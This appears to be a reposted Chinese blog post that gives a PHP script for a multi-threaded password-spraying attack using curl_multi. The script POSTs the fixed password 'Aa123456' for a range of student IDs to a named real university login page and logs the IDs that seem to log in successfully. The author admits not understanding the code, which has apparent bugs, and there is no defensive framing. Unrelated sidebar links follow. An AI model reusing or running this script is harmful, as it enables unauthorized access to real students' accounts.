PHP利用CURL_MULTI实现多线程爆破
来源:互联网 发布:jsonobject数组 编辑:程序博客网 时间:2024/06/05 02:03
在上一篇文章http://blog.csdn.net/ls1120704214/article/details/49734883的最后我尝试着使用PHP进行我的爆破实验,结果也在最后贴出来了...
第二天我通过各种网络搜索又搞出了一个更快的方法,使用curl_multi这个东西我在网络上也没看懂到底是怎么回事,但是网上的文章都千篇一律,全是COPY的,我也就依葫芦画瓢,拼拼凑凑勉强能够运行,先贴出代码:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"><style type="text/css">span,p{ padding:0; margin: 0; font-family: "微软雅黑"; } div{ text-align: center; color: eee; } body{ background-color: #666; } </style><form id="form1" name="form1" method="post" action="<?php echo $_SERVER['PHP_SELF'];?>" ><div> <span>起始学号:</span> <input name="nums" type="text" size="20" align="center" /> <span>结束学号:</span> <input name="nume" type="text" size="20" align="center" /> <input type="submit" name="Submit" value="提交" /></div></form><div><?phpfunction fn() {list($a,$b) = explode(' ',microtime());return $a+$b;}function writelog($str){$open=fopen("number.txt","a" );fwrite($open,$str);fclose($open);}if($_POST["nums"] and $_POST["nume"]) {$start_time = fn();// $count=0;$numstart=$_POST["nums"];$numberend=$_POST["nume"];for ($number=$numstart; $number <= $numberend; $number=$number+1) { $connomains[$number] = 'http://www1.cuit.edu.cn/PassPort/Login.asp';$post_data[$number]="Login=Check&txtId=$number&txtMM=Aa123456&Winw=860";}$mh = curl_multi_init();foreach ($connomains as $i => $url) { $conn[$i]=curl_init($url);//将 curl_exec() 获取的信息以文件流的形式返回,而不是直接输出。curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);//全部数据使用HTTP协议中的"POST"操作来发送。curl_setopt($conn[$i], CURLOPT_POSTFIELDS, $post_data[$i]); curl_multi_add_handle($mh, $conn[$i]);}do { $n=curl_multi_exec($mh,$active); } while ($active);while($active&&$mrc==CURLM_OK){ if(curl_multi_select($handle)!=-1){ do{ $mrc=curl_multi_exec($handle,$active); }while($mrc==CURLM_CALL_MULTI_PERFORM); } } foreach ($connomains as $i => $url) { if (!mb_strpos(curl_multi_getcontent($conn[$i]), $i)) { writelog($i."\r\n");echo $i.'<br>'; $count=$count+1; }$value=curl_multi_getcontent($conn[$i]); curl_close($conn[$i]);}$end_time = fn();echo $numstart.'--'.$numberend.'花费时间:'.round(($end_time - $start_time),5).'秒钟'.'<br>';echo '符合条件共'.$count.'条记录';}?></div>
代码具体什么意思我也就不解释了,因为我自己也没搞懂....
简单说一下她的问题:
1.同时请求的数量不能太多,太多就会出现错误(保持在1000以内最好)。
2.不是真正的多线程,导致效率依然不够,不过较之前的提高了十几倍(请求100个只需要三秒多),还是不错了。
程序值得优化的地方放依然很多,等以后自己懂得的知识多起来再回过头来吗,慢慢改进。
0 0
- PHP利用CURL_MULTI实现多线程爆破
- PHP 多线程的实现 curl_multi
- PHP 多线程的实现 curl_multi
- PHP使用CURL_MULTI实现多线程采集的例子
- curl_multi实现准多线程采集
- php curl_multi 优化网络请求及多线程
- php curl_multi demo 例子
- curl_multi实现并发请求
- php中curl_multi的应用
- PHP curl_multi 多文件下载
- php中curl_multi的应用
- php中curl_multi的应用
- php中curl_multi的应用
- php中curl_multi的应用
- php中curl_multi批处理请求
- PHP使用curl_multi并发请求
- Python3 实现网站后台弱口令爆破(多线程)
- curl_multi
- Java的HashMap底层实现详解
- UIGestureRecognizer(高级)
- oc 便利初始化、便利构造器
- Java transient关键字使用小记
- NOIP2015游记【OI,再见
- PHP利用CURL_MULTI实现多线程爆破
- BroadcastReceiver--广播
- 黑马程序员---java基础第5天(构造代码块、this关键字、构造函数)
- 自动白平衡(AWB)算法---1,色温曲线
- unicode转换成gbk或者中文
- 转 CGContextRef用法
- VS2008中加入库文件、引用文件和包含文件的路径
- oc中的 getter 和setter方法 浅析示例
- hwc_composer_device_1